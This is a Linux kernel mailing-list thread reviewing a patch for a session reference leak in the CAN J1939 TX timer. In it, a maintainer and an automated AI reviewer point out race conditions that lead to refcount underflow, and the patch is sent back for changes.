> On 26.10.2026 07:02:48, Zihan Xi wrote:
> > The TX timer holds a session reference while it is queued. Restarting an
> > active timer only changes its expiry, so taking another reference for each
> > restart can leak sessions.
> >
> > Serialize TX timer rearming and reuse the queued timer reference. Take a
> > new reference when no queued timer owns one, including if a callback is
> > running.
> >
> > Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
> >
>
> Drop the newline after the Fixes: tag.

I’ll remove the blank line after the Fixes: tag.
>
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Link: https://bugtracker.nebusec.ai/f/11143
> > Assisted-by: LLM
>
> Please remove the Assisted-by: tag, it's obsolete. Instead, please state
> in your cover letter that LLM were used to create the patch. See commit
> 1e035297ffda ("docs: remove Assisted-by references") for details.
>

I’ll remove the Assisted-by tag and mention LLM use in the cover letter.

> > Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> > ---
>
> What about the txtimer in transport.c?
>
> | net/can/j1939/transport.c:306:31: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
> |   306 |         if (hrtimer_cancel(&session->txtimer))
> |       |                                      ^
> | net/can/j1939/transport.c:1552:26: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
> |  1552 |         hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
> |       |                                 ^
> | net/can/j1939/transport.c:2254:40: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
> |  2254 |                         if (hrtimer_try_to_cancel(&session->txtimer) == 1)
> |       |                                                             ^
>

I’ll annotate txtimer and address all reported accesses, including the
cancellation paths, without holding the lock while waiting for a
callback.
>
> >  net/can/j1939/j1939-priv.h |  3 +++
> >  net/can/j1939/transport.c  | 11 ++++++++++-
> >  2 files changed, 13 insertions(+), 1 deletion(-)
> >
> > diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
> > index cf26352d1d8c..6c46dec73bbb 100644
> > --- a/net/can/j1939/j1939-priv.h
> > +++ b/net/can/j1939/j1939-priv.h
> > @@ -10,6 +10,7 @@
> >  #define _J1939_PRIV_H_
> >
> >  #include <linux/can/j1939.h>
> > +#include <linux/spinlock.h>
> >  #include <net/sock.h>
> >
> >  /* Timeout to receive the abort signal over loop back. In case CAN
> > @@ -290,6 +291,8 @@ struct j1939_session {
> >               unsigned int dpo;
> >       } pkt;
> >       struct hrtimer txtimer, rxtimer;
>
> Add __guarded_by to the txtimer:
>
> | struct hrtimer txtimer __guarded_by(&txtimer_lock);
>
> and switch on context analysis for j1939:
>
> --- a/net/can/j1939/Makefile
> +++ b/net/can/j1939/Makefile
> @@ -1,5 +1,7 @@
>  # SPDX-License-Identifier: GPL-2.0
>
> +CONTEXT_ANALYSIS := y
> +
>  obj-$(CONFIG_CAN_J1939) += can-j1939.o
>
>  can-j1939-objs := \
>
> ...and compile with clang-23. See
> Documentation/dev-tools/context-analysis.rst for more details.
>
> regards,
> Marc
>

I’ll enable context analysis for J1939 and validate the result with clang-23.
> --
> Pengutronix e.K.                 | Marc Kleine-Budde          |
> Embedded Linux                   | https://www.pengutronix.de |
> Vertretung Nürnberg              | Phone: +49-5121-206917-129 |
> Amtsgericht Hildesheim, HRA 2686 | Fax:   +49-5121-206917-9   |

Re: [PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[zihan xi]

On Mon, Oct 26, 2026 at 4:57 PM <sashiko-bot@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider:
> - [Critical] can: j1939: session refcount underflow in j1939_tp_schedule_txtimer()
> - [High] can: j1939: race between j1939_tp_schedule_txtimer() and txtimer cancellation
> --
>
> commit 132d2449245f60a20ddade9b51a9c2efc0a02136
> Author: Zihan Xi <zihanx@nebusec.ai>
>
> can: j1939: fix session reference leak on TX timer restart
>
> This patch adds a spinlock to serialize TX timer rearming in
> j1939_tp_schedule_txtimer() and reuses the existing session reference when
> restarting an already queued TX timer.
>
> Link: https://bugtracker.nebusec.ai/f/11143
>
> > diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> > index 8fcfd13e5e6f8..e9af8547c69b4 100644
> > --- a/net/can/j1939/transport.c
> > +++ b/net/can/j1939/transport.c
> > @@ -716,9 +716,17 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
> >
> >  void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
> >  {
> > -     j1939_session_get(session);
> > +     int ret;
> > +
> > +     spin_lock_bh(&session->txtimer_lock);
> > +     /* Keep the timer's reference when only changing its expiry. */
> > +     ret = hrtimer_try_to_cancel(&session->txtimer);
>
> [Severity: High]
> Could temporarily dequeuing session->txtimer here race with callers that
> cancel the timer without holding session->txtimer_lock?
>
> In net/can/j1939/transport.c, neither j1939_session_txtimer_cancel() nor
> j1939_cancel_active_session() acquires session->txtimer_lock:
>
> static void j1939_session_txtimer_cancel(struct j1939_session *session)
> {
>         if (hrtimer_cancel(&session->txtimer))
>                 j1939_session_put(session);
> }
>
> and in j1939_cancel_active_session():
>
>         if (hrtimer_try_to_cancel(&session->txtimer) == 1)
>                 j1939_session_put(session);
>
> Previously, j1939_tp_schedule_txtimer() called hrtimer_start() directly on
> an already queued timer, updating its expiry under the hrtimer base lock
> without transitioning hrtimer_active(&session->txtimer) to false.
>
> With this change, when session->txtimer is queued and its callback is not
> running, hrtimer_try_to_cancel(&session->txtimer) dequeues the timer and
> returns 1, making hrtimer_active(&session->txtimer) false until
> hrtimer_start() runs.
>
> If another CPU calls j1939_session_txtimer_cancel() (for example via
> j1939_session_timers_cancel() on session abort or completion, or from
> j1939_xtp_rx_cts_one()) or j1939_cancel_active_session() during that window,
> hrtimer_cancel() / hrtimer_try_to_cancel() will see the timer as inactive
> and return 0. j1939_tp_schedule_txtimer() will then call hrtimer_start() and
> re-arm session->txtimer on a session whose timers were already cancelled.

The refcount race is valid: the queued-state check is not atomic with
callback completion, expiry, or cancellation. I’ll rework the
timer-reference ownership protocol before resubmitting.
>
> > +     /* A running callback may already have requeued the timer. */
> > +     if (ret != 1 && !hrtimer_is_queued(&session->txtimer))
> > +             j1939_session_get(session);
> >       hrtimer_start(&session->txtimer, ms_to_ktime(msec),
> >                     HRTIMER_MODE_REL_SOFT);
>
> [Severity: Critical]
> What prevents a queued session->txtimer from expiring or being cancelled
> between the lockless hrtimer_is_queued() check and hrtimer_start(), causing
> a refcount underflow on session->kref?
>
> In kernel/time/hrtimer.c, hrtimer_try_to_cancel() leaves the timer queued
> and returns -1 whenever the timer callback is currently running:
>
>         if (!hrtimer_callback_running(timer)) {
>                 ret = remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE);
>                 if (ret)
>                         trace_hrtimer_cancel(timer);
>         }
>
> Consider the following sequence across two CPUs when j1939_tp_txtimer() is
> running on CPU 0 and has already requeued session->txtimer once (holding one
> session->kref reference for the running callback and a second reference for
> the queued timer):
>
> 1. CPU 1 calls j1939_tp_schedule_txtimer() and takes session->txtimer_lock.
>    Because j1939_tp_txtimer() is still running on CPU 0,
>    hrtimer_try_to_cancel(&session->txtimer) returns -1 without removing the
>    queued timer.
>
> 2. CPU 1 checks hrtimer_is_queued(&session->txtimer), which observes
>    timer->is_queued == 1, so CPU 1 skips j1939_session_get(session) intending
>    to reuse the queued timer's reference.
>
> 3. Before CPU 1 enters hrtimer_start() and takes the hrtimer base lock, the
>    running j1939_tp_txtimer() callback on CPU 0 finishes (dropping its own
>    reference via j1939_session_put(session)), and the queued timer either:
>    - immediately expires in __hrtimer_run_queues() / __run_hrtimer() (which
>      does not take session->txtimer_lock), dequeuing the timer and running a
>      second j1939_tp_txtimer() that drops the second session->kref reference:
>
>         j1939_session_put(session);
>
>         return HRTIMER_NORESTART;
>
>    - or is cancelled by an unlocked j1939_session_txtimer_cancel() or
>      j1939_cancel_active_session() on another CPU, which also dequeues the
>      timer and drops the second session->kref reference.
>
> 4. CPU 1 then executes hrtimer_start(&session->txtimer, ...), which enqueues
>    session->txtimer from the inactive state without having taken a new
>    session reference.
>
> When that newly started timer subsequently fires in j1939_tp_txtimer() or is
> cancelled, j1939_session_put(session) will drop a reference that was never
> taken, underflowing session->kref and freeing struct j1939_session while it
> is still in use.

The cancellation race is also valid: cancellation is not serialized
with rearming. I’ll address both races together and re-review the
callback and teardown paths.
>
> --
> Sashiko AI review · https://sashiko.dev/#/patchset/cover.1792979091.git.zihanx@nebusec.ai?part=1

Re: [PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[Marc Kleine-Budde]

[-- Attachment #1: Type: text/plain, Size: 540 bytes --]

On 26.10.2026 18:10:09, zihan xi wrote:
> The refcount race is valid: the queued-state check is not atomic with
> callback completion, expiry, or cancellation. I’ll rework the
> timer-reference ownership protocol before resubmitting.

pw-bot: cr

regards,
Marc

-- 
Pengutronix e.K.                 | Marc Kleine-Budde          |
Embedded Linux                   | https://www.pengutronix.de |
Vertretung Nürnberg              | Phone: +49-5121-206917-129 |
Amtsgericht Hildesheim, HRA 2686 | Fax:   +49-5121-206917-9   |

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]